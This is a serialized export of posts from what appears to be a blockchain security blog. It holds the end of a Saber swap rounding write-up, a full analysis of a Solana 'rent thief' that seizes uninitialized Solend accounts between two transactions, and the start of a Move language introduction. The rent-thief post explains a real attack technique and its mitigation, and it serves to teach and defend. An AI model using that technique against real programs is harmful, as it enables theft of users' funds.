y_prev",{"type":26,"tag":475,"props":4515,"children":4516},{"style":714},[4517],{"type":32,"value":2383},{"type":26,"tag":475,"props":4519,"children":4520},{"style":2375},[4521],{"type":32,"value":2715},{"type":26,"tag":475,"props":4523,"children":4524},{"style":499},[4525],{"type":32,"value":2729},{"type":26,"tag":475,"props":4527,"children":4528},{"class":477,"line":582},[4529,4533,4538,4542,4546,4550,4554,4558,4562,4566,4570,4574,4578,4582,4586,4590,4594,4598],{"type":26,"tag":475,"props":4530,"children":4531},{"style":714},[4532],{"type":32,"value":4039},{"type":26,"tag":475,"props":4534,"children":4535},{"style":2375},[4536],{"type":32,"value":4537}," y",{"type":26,"tag":475,"props":4539,"children":4540},{"style":714},[4541],{"type":32,"value":2383},{"type":26,"tag":475,"props":4543,"children":4544},{"style":499},[4545],{"type":32,"value":2775},{"type":26,"tag":475,"props":4547,"children":4548},{"style":493},[4549],{"type":32,"value":2807},{"type":26,"tag":475,"props":4551,"children":4552},{"style":499},[4553],{"type":32,"value":626},{"type":26,"tag":475,"props":4555,"children":4556},{"style":714},[4557],{"type":32,"value":2816},{"type":26,"tag":475,"props":4559,"children":4560},{"style":2375},[4561],{"type":32,"value":2821},{"type":26,"tag":475,"props":4563,"children":4564},{"style":499},[4565],{"type":32,"value":637},{"type":26,"tag":475,"props":4567,"children":4568},{"style":903},[4569],{"type":32,"value":2830},{"type":26,"tag":475,"props":4571,"children":4572},{"style":499},[4573],{"type":32,"value":2835},{"type":26,"tag":475,"props":4575,"children":4576},{"style":714},[4577],{"type":32,"value":2840},{"type":26,"tag":475,"props":4579,"children":4580},{"style":493},[4581],{"type":32,"value":2845},{"type":26,"tag":475,"props":4583,"children":4584},{"style":499},[4585],{"type":32,"value":626},{"type":26,"tag":475,"props":4587,"children":4588},{"style":2375},[4589],{"type":32,"value":2854},{"type":26,"tag":475,"props":4591,"children":4592},{"style":499},[4593],{"type":32,"value":2835},{"type":26,"tag":475,"props":4595,"children":4596},{"style":714},[4597],{"type":32,"value":2863},{"type":26,"tag":475,"props":4599,"children":4600},{"style":499},[4601],{"type":32,"value":647},{"type":26,"tag":475,"props":4603,"children":4604},{"class":477,"line":596},[4605,4609,4613,4618,4622,4626,4630,4634,4638,4642,4646,4650,4654,4658,4662,4666,4670,4674,4678,4682,4686,4690,4694,4698,4702],{"type":26,"tag":475,"props":4606,"children":4607},{"style":714},[4608],{"type":32,"value":4039},{"type":26,"tag":475,"props":4610,"children":4611},{"style":714},[4612],{"type":32,"value":2875},{"type":26,"tag":475,"props":4614,"children":4615},{"style":493},[4616],{"type":32,"value":4617},"checked_div",{"type":26,"tag":475,"props":4619,"children":4620},{"style":499},[4621],{"type":32,"value":626},{"type":26,"tag":475,"props":4623,"children":4624},{"style":493},[4625],{"type":32,"value":2889},{"type":26,"tag":475,"props":4627,"children":4628},{"style":499},[4629],{"type":32,"value":626},{"type":26,"tag":475,"props":4631,"children":4632},{"style":714},[4633],{"type":32,"value":2816},{"type":26,"tag":475,"props":4635,"children":4636},{"style":2375},[4637],{"type":32,"value":2821},{"type":26,"tag":475,"props":4639,"children":4640},{"style":499},[4641],{"type":32,"value":637},{"type":26,"tag":475,"props":4643,"children":4644},{"style":903},[4645],{"type":32,"value":2830},{"type":26,"tag":475,"props":4647,"children":4648},{"style":499},[4649],{"type":32,"value":2835},{"type":26,"tag":475,"props":4651,"children":4652},{"style":714},[4653],{"type":32,"value":2840},{"type":26,"tag":475,"props":4655,"children":4656},{"style":493},[4657],{"type":32,"value":2845},{"type":26,"tag":475,"props":4659,"children":4660},{"style":499},[4661],{"type":32,"value":626},{"type":26,"tag":475,"props":4663,"children":4664},{"style":2375},[4665],{"type":32,"value":2930},{"type":26,"tag":475,"props":4667,"children":4668},{"style":499},[4669],{"type":32,"value":2835},{"type":26,"tag":475,"props":4671,"children":4672},{"style":714},[4673],{"type":32,"value":2840},{"type":26,"tag":475,"props":4675,"children":4676},{"style":493},[4677],{"type":32,"value":2943},{"type":26,"tag":475,"props":4679,"children":4680},{"style":499},[4681],{"type":32,"value":626},{"type":26,"tag":475,"props":4683,"children":4684},{"style":2375},[4685],{"type":32,"value":2952},{"type":26,"tag":475,"props":4687,"children":4688},{"style":499},[4689],{"type":32,"value":2835},{"type":26,"tag":475,"props":4691,"children":4692},{"style":714},[4693],{"type":32,"value":2863},{"type":26,"tag":475,"props":4695,"children":4696},{"style":499},[4697],{"type":32,"value":2835},{"type":26,"tag":475,"props":4699,"children":4700},{"style":714},[4701],{"type":32,"value":2863},{"type":26,"tag":475,"props":4703,"children":4704},{"style":499},[4705],{"type":32,"value":2729},{"type":26,"tag":475,"props":4707,"children":4708},{"class":477,"line":610},[4709,4713,4717,4721,4725,4729],{"type":26,"tag":475,"props":4710,"children":4711},{"style":714},[4712],{"type":32,"value":4039},{"type":26,"tag":475,"props":4714,"children":4715},{"style":586},[4716],{"type":32,"value":2980},{"type":26,"tag":475,"props":4718,"children":4719},{"style":2375},[4720],{"type":32,"value":2715},{"type":26,"tag":475,"props":4722,"children":4723},{"style":714},[4724],{"type":32,"value":2990},{"type":26,"tag":475,"props":4726,"children":4727},{"style":2375},[4728],{"type":32,"value":4433},{"type":26,"tag":475,"props":4730,"children":4731},{"style":499},[4732],{"type":32,"value":579},{"type":26,"tag":475,"props":4734,"children":4735},{"class":477,"line":650},[4736,4740,4744,4748,4752,4756,4760,4764,4768,4772,4776,4780,4784,4788,4792,4796,4800,4804,4808,4812,4816,4820,4824],{"type":26,"tag":475,"props":4737,"children":4738},{"style":714},[4739],{"type":32,"value":1106},{"type":26,"tag":475,"props":4741,"children":4742},{"style":482},[4743],{"type":32,"value":2770},{"type":26,"tag":475,"props":4745,"children":4746},{"style":499},[4747],{"type":32,"value":2775},{"type":26,"tag":475,"props":4749,"children":4750},{"style":2375},[4751],{"type":32,"value":2780},{"type":26,"tag":475,"props":4753,"children":4754},{"style":499},[4755],{"type":32,"value":637},{"type":26,"tag":475,"props":4757,"children":4758},{"style":2375},[4759],{"type":32,"value":2789},{"type":26,"tag":475,"props":4761,"children":4762},{"style":499},[4763],{"type":32,"value":2794},{"type":26,"tag":475,"props":4765,"children":4766},{"style":714},[4767],{"type":32,"value":786},{"type":26,"tag":475,"props":4769,"children":4770},{"style":499},[4771],{"type":32,"value":2775},{"type":26,"tag":475,"props":4773,"children":4774},{"style":493},[4775],{"type":32,"value":2807},{"type":26,"tag":475,"props":4777,"children":4778},{"style":499},[4779],{"type":32,"value":626},{"type":26,"tag":475,"props":4781,"children":4782},{"style":714},[4783],{"type":32,"value":2816},{"type":26,"tag":475,"props":4785,"children":4786},{"style":2375},[4787],{"type":32,"value":2821},{"type":26,"tag":475,"props":4789,"children":4790},{"style":499},[4791],{"type":32,"value":637},{"type":26,"tag":475,"props":4793,"children":4794},{"style":903},[4795],{"type":32,"value":2830},{"type":26,"tag":475,"props":4797,"children":4798},{"style":499},[4799],{"type":32,"value":2835},{"type":26,"tag":475,"props":4801,"children":4802},{"style":714},[4803],{"type":32,"value":2840},{"type":26,"tag":475,"props":4805,"children":4806},{"style":493},[4807],{"type":32,"value":2845},{"type":26,"tag":475,"props":4809,"children":4810},{"style":499},[4811],{"type":32,"value":626},{"type":26,"tag":475,"props":4813,"children":4814},{"style":2375},[4815],{"type":32,"value":2854},{"type":26,"tag":475,"props":4817,"children":4818},{"style":499},[4819],{"type":32,"value":2835},{"type":26,"tag":475,"props":4821,"children":4822},{"style":714},[4823],{"type":32,"value":2863},{"type":26,"tag":475,"props":4825,"children":4826},{"style":499},[4827],{"type":32,"value":647},{"type":26,"tag":475,"props":4829,"children":4830},{"class":477,"line":679},[4831,4835,4839,4843,4847,4851,4855,4859,4863,4867,4871,4875,4879,4883,4887,4891,4895,4899,4903,4907,4911,4915,4919,4923,4927],{"type":26,"tag":475,"props":4832,"children":4833},{"style":714},[4834],{"type":32,"value":1106},{"type":26,"tag":475,"props":4836,"children":4837},{"style":714},[4838],{"type":32,"value":2875},{"type":26,"tag":475,"props":4840,"children":4841},{"style":493},[4842],{"type":32,"value":2880},{"type":26,"tag":475,"props":4844,"children":4845},{"style":499},[4846],{"type":32,"value":626},{"type":26,"tag":475,"props":4848,"children":4849},{"style":493},[4850],{"type":32,"value":2889},{"type":26,"tag":475,"props":4852,"children":4853},{"style":499},[4854],{"type":32,"value":626},{"type":26,"tag":475,"props":4856,"children":4857},{"style":714},[4858],{"type":32,"value":2816},{"type":26,"tag":475,"props":4860,"children":4861},{"style":2375},[4862],{"type":32,"value":2821},{"type":26,"tag":475,"props":4864,"children":4865},{"style":499},[4866],{"type":32,"value":637},{"type":26,"tag":475,"props":4868,"children":4869},{"style":903},[4870],{"type":32,"value":2830},{"type":26,"tag":475,"props":4872,"children":4873},{"style":499},[4874],{"type":32,"value":2835},{"type":26,"tag":475,"props":4876,"children":4877},{"style":714},[4878],{"type":32,"value":2840},{"type":26,"tag":475,"props":4880,"children":4881},{"style":493},[4882],{"type":32,"value":2845},{"type":26,"tag":475,"props":4884,"children":4885},{"style":499},[4886],{"type":32,"value":626},{"type":26,"tag":475,"props":4888,"children":4889},{"style":2375},[4890],{"type":32,"value":2930},{"type":26,"tag":475,"props":4892,"children":4893},{"style":499},[4894],{"type":32,"value":2835},{"type":26,"tag":475,"props":4896,"children":4897},{"style":714},[4898],{"type":32,"value":2840},{"type":26,"tag":475,"props":4900,"children":4901},{"style":493},[4902],{"type":32,"value":2943},{"type":26,"tag":475,"props":4904,"children":4905},{"style":499},[4906],{"type":32,"value":626},{"type":26,"tag":475,"props":4908,"children":4909},{"style":2375},[4910],{"type":32,"value":2952},{"type":26,"tag":475,"props":4912,"children":4913},{"style":499},[4914],{"type":32,"value":2835},{"type":26,"tag":475,"props":4916,"children":4917},{"style":714},[4918],{"type":32,"value":2863},{"type":26,"tag":475,"props":4920,"children":4921},{"style":499},[4922],{"type":32,"value":2835},{"type":26,"tag":475,"props":4924,"children":4925},{"style":714},[4926],{"type":32,"value":2863},{"type":26,"tag":475,"props":4928,"children":4929},{"style":499},[4930],{"type":32,"value":2729},{"type":26,"tag":475,"props":4932,"children":4933},{"class":477,"line":735},[4934,4938,4942,4946,4950,4954],{"type":26,"tag":475,"props":4935,"children":4936},{"style":714},[4937],{"type":32,"value":1106},{"type":26,"tag":475,"props":4939,"children":4940},{"style":586},[4941],{"type":32,"value":2980},{"type":26,"tag":475,"props":4943,"children":4944},{"style":2375},[4945],{"type":32,"value":2985},{"type":26,"tag":475,"props":4947,"children":4948},{"style":714},[4949],{"type":32,"value":2990},{"type":26,"tag":475,"props":4951,"children":4952},{"style":2375},[4953],{"type":32,"value":2715},{"type":26,"tag":475,"props":4955,"children":4956},{"style":499},[4957],{"type":32,"value":579},{"type":26,"tag":475,"props":4959,"children":4960},{"class":477,"line":744},[4961,4966],{"type":26,"tag":475,"props":4962,"children":4963},{"style":586},[4964],{"type":32,"value":4965}," break",{"type":26,"tag":475,"props":4967,"children":4968},{"style":499},[4969],{"type":32,"value":2729},{"type":26,"tag":475,"props":4971,"children":4972},{"class":477,"line":753},[4973,4977,4981,4985],{"type":26,"tag":475,"props":4974,"children":4975},{"style":714},[4976],{"type":32,"value":1106},{"type":26,"tag":475,"props":4978,"children":4979},{"style":499},[4980],{"type":32,"value":3018},{"type":26,"tag":475,"props":4982,"children":4983},{"style":586},[4984],{"type":32,"value":3023},{"type":26,"tag":475,"props":4986,"children":4987},{"style":499},[4988],{"type":32,"value":579},{"type":26,"tag":475,"props":4990,"children":4991},{"class":477,"line":761},[4992,4996,5000,5004,5008],{"type":26,"tag":475,"props":4993,"children":4994},{"style":714},[4995],{"type":32,"value":1106},{"type":26,"tag":475,"props":4997,"children":4998},{"style":2375},[4999],{"type":32,"value":3035},{"type":26,"tag":475,"props":5001,"children":5002},{"style":714},[5003],{"type":32,"value":2383},{"type":26,"tag":475,"props":5005,"children":5006},{"style":2375},[5007],{"type":32,"value":2985},{"type":26,"tag":475,"props":5009,"children":5010},{"style":499},[5011],{"type":32,"value":2729},{"type":26,"tag":475,"props":5013,"children":5014},{"class":477,"line":770},[5015],{"type":26,"tag":475,"props":5016,"children":5017},{"style":499},[5018],{"type":32,"value":5019}," }\n",{"type":26,"tag":27,"props":5021,"children":5023},{"id":5022},"closing-thoughts",[5024],{"type":32,"value":5025},"Closing Thoughts",{"type":26,"tag":35,"props":5027,"children":5028},{},[5029],{"type":32,"value":5030},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":26,"tag":35,"props":5032,"children":5033},{},[5034,5036,5041],{"type":32,"value":5035},"Another interesting takeaway is that ",{"type":26,"tag":105,"props":5037,"children":5038},{},[5039],{"type":32,"value":5040},"fuzzing can give a false sense of security",{"type":32,"value":5042},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":26,"tag":35,"props":5044,"children":5045},{},[5046,5048,5055],{"type":32,"value":5047},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":26,"tag":116,"props":5049,"children":5052},{"href":5050,"rel":5051},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[120],[5053],{"type":32,"value":5054},"port-mortem of the NSS overflow",{"type":32,"value":353},{"type":26,"tag":35,"props":5057,"children":5058},{},[5059],{"type":26,"tag":132,"props":5060,"children":5062},{"alt":7,"src":5061},"/posts/spl-swap/p0.png",[],{"type":26,"tag":35,"props":5064,"children":5065},{},[5066],{"type":32,"value":5067},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":26,"tag":35,"props":5069,"children":5070},{},[5071],{"type":32,"value":5072},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":26,"tag":35,"props":5074,"children":5075},{},[5076],{"type":32,"value":5077},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":26,"tag":2548,"props":5079,"children":5080},{},[5081],{"type":32,"value":2552},{"title":7,"searchDepth":516,"depth":516,"links":5083},[5084,5085,5086,5087],{"id":2622,"depth":516,"text":2625},{"id":3630,"depth":516,"text":3633},{"id":3937,"depth":516,"text":3940},{"id":5022,"depth":516,"text":5025},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":5092,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5093,"description":5094,"image":5095,"date":5099,"isFeatured":18,"onBlogPage":18,"tags":5100,"body":5101,"_type":2566,"_id":5425,"_source":2568,"_file":5426,"_stem":5427,"_extension":2571},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":5096,"width":5097,"height":5098},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[2583,2584],{"type":23,"children":5102,"toc":5418},[5103,5108,5114,5119,5124,5129,5135,5148,5195,5226,5235,5240,5245,5250,5256,5269,5285,5290,5295,5310,5314,5319,5334,5341,5346,5356,5363,5367,5372,5378,5383,5388,5393,5399,5404],{"type":26,"tag":35,"props":5104,"children":5105},{},[5106],{"type":32,"value":5107},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":26,"tag":27,"props":5109,"children":5111},{"id":5110},"background",[5112],{"type":32,"value":5113},"Background",{"type":26,"tag":35,"props":5115,"children":5116},{},[5117],{"type":32,"value":5118},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":26,"tag":35,"props":5120,"children":5121},{},[5122],{"type":32,"value":5123},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":26,"tag":35,"props":5125,"children":5126},{},[5127],{"type":32,"value":5128},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":26,"tag":27,"props":5130,"children":5132},{"id":5131},"the-exploit",[5133],{"type":32,"value":5134},"The Exploit",{"type":26,"tag":35,"props":5136,"children":5137},{},[5138,5140,5146],{"type":32,"value":5139},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":26,"tag":53,"props":5141,"children":5143},{"className":5142},[],[5144],{"type":32,"value":5145},"init_reserve",{"type":32,"value":5147}," function, which creates 6 new accounts to store data about the reserve:",{"type":26,"tag":181,"props":5149,"children":5150},{},[5151,5156,5161,5166,5177,5182],{"type":26,"tag":86,"props":5152,"children":5153},{},[5154],{"type":32,"value":5155},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":26,"tag":86,"props":5157,"children":5158},{},[5159],{"type":32,"value":5160},"reserve liquidity token account - holds deposited tokens",{"type":26,"tag":86,"props":5162,"children":5163},{},[5164],{"type":32,"value":5165},"fee receiver token account - account which will receive origination fees on borrows",{"type":26,"tag":86,"props":5167,"children":5168},{},[5169,5171],{"type":32,"value":5170},"reserve collateral mint account - deposit receipt token, also known as ",{"type":26,"tag":53,"props":5172,"children":5174},{"className":5173},[],[5175],{"type":32,"value":5176},"cTokens",{"type":26,"tag":86,"props":5178,"children":5179},{},[5180],{"type":32,"value":5181},"reserve collateral token account - holds users' collateral tokens",{"type":26,"tag":86,"props":5183,"children":5184},{},[5185,5187,5193],{"type":32,"value":5186},"creator collateral token account - creator's ",{"type":26,"tag":53,"props":5188,"children":5190},{"className":5189},[],[5191],{"type":32,"value":5192},"cToken",{"type":32,"value":5194}," account",{"type":26,"tag":35,"props":5196,"children":5197},{},[5198,5200,5205,5207,5212,5214,5219,5221],{"type":32,"value":5199},"Account creation and initialization are ",{"type":26,"tag":2615,"props":5201,"children":5202},{},[5203],{"type":32,"value":5204},"usually",{"type":32,"value":5206}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":26,"tag":53,"props":5208,"children":5210},{"className":5209},[],[5211],{"type":32,"value":5145},{"type":32,"value":5213}," is ",{"type":26,"tag":2615,"props":5215,"children":5216},{},[5217],{"type":32,"value":5218},"supposed",{"type":32,"value":5220}," to look like:\n",{"type":26,"tag":132,"props":5222,"children":5225},{"src":5223,"alt":5224},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":26,"tag":35,"props":5227,"children":5228},{},[5229,5231],{"type":32,"value":5230},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":26,"tag":132,"props":5232,"children":5234},{"src":5233,"alt":5224},"/posts/rent-thief/attacktransac.png",[],{"type":26,"tag":35,"props":5236,"children":5237},{},[5238],{"type":32,"value":5239},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":26,"tag":35,"props":5241,"children":5242},{},[5243],{"type":32,"value":5244},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":26,"tag":35,"props":5246,"children":5247},{},[5248],{"type":32,"value":5249},"Despite this lost cost, this is pretty annoying...",{"type":26,"tag":27,"props":5251,"children":5253},{"id":5252},"example",[5254],{"type":32,"value":5255},"Example",{"type":26,"tag":35,"props":5257,"children":5258},{},[5259,5261,5268],{"type":32,"value":5260},"Let's take a look at ",{"type":26,"tag":116,"props":5262,"children":5265},{"href":5263,"rel":5264},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[120],[5266],{"type":32,"value":5267},"a real attack",{"type":32,"value":353},{"type":26,"tag":35,"props":5270,"children":5271},{},[5272,5279,5281],{"type":26,"tag":116,"props":5273,"children":5276},{"href":5274,"rel":5275},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[120],[5277],{"type":32,"value":5278},"Transaction 1",{"type":32,"value":5280},":\n",{"type":26,"tag":132,"props":5282,"children":5284},{"alt":7,"src":5283},"https://i.imgur.com/xJvIwgc.png",[],{"type":26,"tag":35,"props":5286,"children":5287},{},[5288],{"type":32,"value":5289},"(...more accounts truncated)",{"type":26,"tag":35,"props":5291,"children":5292},{},[5293],{"type":32,"value":5294},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":26,"tag":35,"props":5296,"children":5297},{},[5298,5305,5306],{"type":26,"tag":116,"props":5299,"children":5302},{"href":5300,"rel":5301},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[120],[5303],{"type":32,"value":5304},"Attacker's Transaction",{"type":32,"value":5280},{"type":26,"tag":132,"props":5307,"children":5309},{"alt":7,"src":5308},"https://i.imgur.com/CpSKuL3.png",[],{"type":26,"tag":35,"props":5311,"children":5312},{},[5313],{"type":32,"value":5289},{"type":26,"tag":35,"props":5315,"children":5316},{},[5317],{"type":32,"value":5318},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":26,"tag":35,"props":5320,"children":5321},{},[5322,5329,5330],{"type":26,"tag":116,"props":5323,"children":5326},{"href":5324,"rel":5325},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[120],[5327],{"type":32,"value":5328},"Transaction 2",{"type":32,"value":5280},{"type":26,"tag":132,"props":5331,"children":5333},{"alt":7,"src":5332},"https://i.imgur.com/of0GIdw.png",[],{"type":26,"tag":35,"props":5335,"children":5336},{},[5337],{"type":26,"tag":132,"props":5338,"children":5340},{"alt":7,"src":5339},"https://i.imgur.com/0STSyv8.png",[],{"type":26,"tag":35,"props":5342,"children":5343},{},[5344],{"type":32,"value":5345},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":26,"tag":35,"props":5347,"children":5348},{},[5349,5355],{"type":26,"tag":116,"props":5350,"children":5353},{"href":5351,"rel":5352},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[120],[5354],{"type":32,"value":5304},{"type":32,"value":179},{"type":26,"tag":35,"props":5357,"children":5358},{},[5359],{"type":26,"tag":132,"props":5360,"children":5362},{"alt":7,"src":5361},"https://i.imgur.com/AmSPdmy.png",[],{"type":26,"tag":35,"props":5364,"children":5365},{},[5366],{"type":32,"value":5289},{"type":26,"tag":35,"props":5368,"children":5369},{},[5370],{"type":32,"value":5371},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":26,"tag":27,"props":5373,"children":5375},{"id":5374},"impact",[5376],{"type":32,"value":5377},"Impact",{"type":26,"tag":35,"props":5379,"children":5380},{},[5381],{"type":32,"value":5382},"Rent-thieving attacks don't steal much money.",{"type":26,"tag":35,"props":5384,"children":5385},{},[5386],{"type":32,"value":5387},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":26,"tag":35,"props":5389,"children":5390},{},[5391],{"type":32,"value":5392},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":26,"tag":27,"props":5394,"children":5396},{"id":5395},"solution",[5397],{"type":32,"value":5398},"Solution",{"type":26,"tag":35,"props":5400,"children":5401},{},[5402],{"type":32,"value":5403},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":26,"tag":35,"props":5405,"children":5406},{},[5407,5409,5416],{"type":32,"value":5408},"As a more permenant solution, Solend implemented ",{"type":26,"tag":116,"props":5410,"children":5413},{"href":5411,"rel":5412},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[120],[5414],{"type":32,"value":5415},"an onchain program",{"type":32,"value":5417}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":516,"depth":516,"links":5419},[5420,5421,5422,5423,5424],{"id":5110,"depth":516,"text":5113},{"id":5131,"depth":516,"text":5134},{"id":5252,"depth":516,"text":5255},{"id":5374,"depth":516,"text":5377},{"id":5395,"depth":516,"text":5398},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":5429,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5430,"description":5431,"author":5432,"image":5433,"date":5437,"isFeatured":18,"onBlogPage":18,"body":5438,"_type":2566,"_id":8966,"_source":2568,"_file":8967,"_stem":8968,"_extension":2571},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":5434,"height":5435,"width":5436},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":23,"children":5439,"toc":8961},[5440,5445,5450,5469,5475,5487,5586,5594,5714,5722,5744,5897,5902,6159,6181,6216,6221,6241,6246,6257,6269,6480,6492,6506,6519,6776,6788,7009,7014,7042,7188,7207,7212,7476,7488,7493,7506,7512,7517,7522,7534,7548,7553,7651,7663,7676,7950,7955,7967,7972,8026,8046,8051,8930,8934,8939,8944,8957],{"type":26,"tag":35,"props":5441,"children":5442},{},[5443],{"type":32,"value":5444},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":26,"tag":35,"props":5446,"children":5447},{},[5448],{"type":32,"value":5449},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":26,"tag":35,"props":5451,"children":5452},{},[5453,5455,5460,5462,5467],{"type":32,"value":5454},"In this piece I'll seek to discuss exactly ",{"type":26,"tag":2615,"props":5456,"children":5457},{},[5458],{"type":32,"value":5459},"how",{"type":32,"value":5461}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":26,"tag":2615,"props":5463,"children":5464},{},[5465],{"type":32,"value":5466},"structurally",{"type":32,"value":5468}," safer programs.",{"type":26,"tag":27,"props":5470,"children":5472},{"id":5471},"types",[5473],{"type":32,"value":5474},"Types",{"type":26,"tag":35,"props":5476,"children":5477},{},[5478,5480,5486],{"type":32,"value":5479},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":26,"tag":53,"props":5481,"children":5483},{"className":5482},[],[5484],{"type":32,"value":5485},"coin.move",{"type":32,"value":353},{"type":26,"tag":465,"props":5488,"children":5490},{"className":2685,"code":5489,"language":2684,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[5491],{"type":26,"tag":53,"props":5492,"children":5493},{"__ignoreMap":7},[5494,5502,5549,5557,5578],{"type":26,"tag":475,"props":5495,"children":5496},{"class":477,"line":478},[5497],{"type":26,"tag":475,"props":5498,"children":5499},{"style":552},[5500],{"type":32,"value":5501}," /// Main structure representing a coin/token in an account's custody.\n",{"type":26,"tag":475,"props":5503,"children":5504},{"class":477,"line":516},[5505,5510,5515,5520,5525,5530,5535,5540,5545],{"type":26,"tag":475,"props":5506,"children":5507},{"style":482},[5508],{"type":32,"value":5509}," struct",{"type":26,"tag":475,"props":5511,"children":5512},{"style":505},[5513],{"type":32,"value":5514}," Coin",{"type":26,"tag":475,"props":5516,"children":5517},{"style":499},[5518],{"type":32,"value":5519},"\u003C",{"type":26,"tag":475,"props":5521,"children":5522},{"style":2375},[5523],{"type":32,"value":5524},"phantom",{"type":26,"tag":475,"props":5526,"children":5527},{"style":505},[5528],{"type":32,"value":5529}," CoinType",{"type":26,"tag":475,"props":5531,"children":5532},{"style":499},[5533],{"type":32,"value":5534},"> ",{"type":26,"tag":475,"props":5536,"children":5537},{"style":2375},[5538],{"type":32,"value":5539},"has",{"type":26,"tag":475,"props":5541,"children":5542},{"style":2375},[5543],{"type":32,"value":5544}," store",{"type":26,"tag":475,"props":5546,"children":5547},{"style":499},[5548],{"type":32,"value":579},{"type":26,"tag":475,"props":5550,"children":5551},{"class":477,"line":539},[5552],{"type":26,"tag":475,"props":5553,"children":5554},{"style":552},[5555],{"type":32,"value":5556}," /// Amount of coin this address 